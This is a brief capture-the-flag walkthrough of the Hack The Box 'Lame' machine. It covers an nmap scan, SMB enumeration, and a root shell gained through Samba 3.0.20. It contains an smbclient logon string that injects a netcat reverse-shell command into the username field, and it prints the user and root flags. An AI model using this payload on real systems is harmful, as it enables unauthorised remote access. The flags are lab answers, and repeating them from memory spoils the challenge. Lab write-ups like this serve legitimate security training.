[Meachines] Lame smbd3.0-RCE
信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.3 | TCP:21,22,139,445,3632 |
$ nmap -p- 10.10.10.3 --min-rate 1000 -sC -sV
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.57
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2024-07-26T05:49:20-04:00
|_clock-skew: mean: 1h52m02s, deviation: 2h49m45s, median: -7m59sLocal&Root 权限
$ enum4linux 10.10.10.3
$ smbmap -H 10.10.10.3
$ smbclient //10.10.10.3/tmp
smb: \> logon "/=`nc 10.10.16.57 10032 -e /bin/sh`"
User.txt
76523648eeadf32972e21e2b375a3d61
Root.txt
38c7dbb369c9c855a5afc964693a5fa7